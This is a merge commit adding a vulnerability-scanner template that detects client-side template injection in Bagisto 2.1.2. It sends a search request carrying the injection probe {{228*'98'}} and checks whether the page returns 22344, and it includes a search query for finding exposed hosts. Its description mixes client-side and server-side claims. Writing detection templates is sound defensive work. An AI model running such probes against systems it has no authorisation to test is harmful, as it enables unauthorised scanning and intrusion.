Merge pull request #10097 from Kazgangap/bagisto

add bagisto csti vuln

http/vulnerabilities/other/bagisto-csti.yaml

@@ -0,0 +1,34 @@
+id: bagisto-csti
+
+info:
+  name: Bagisto 2.1.2 Client-Side Template Injection
+  author: securityforeveryone
+  severity: medium
+  description: |
+    Bagisto is vulnerable to Client-Side Template Injection (CSTI), which allows an attacker to execute arbitrary code on the server.
+  reference:
+    - https://packetstormsecurity.com/files/179153/Bagisto-2.1.2-Client-Side-Template-Injection.html
+    - https://demo.bagisto.com/
+  metadata:
+    fofa-query: "Bagisto"
+    max-request: 1
+  tags: bagisto,csti,packetstorm,ssti
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/bagisto-common/search?query={{228*'98'}}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "22344"
+          - "bagisto"
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - "text/html"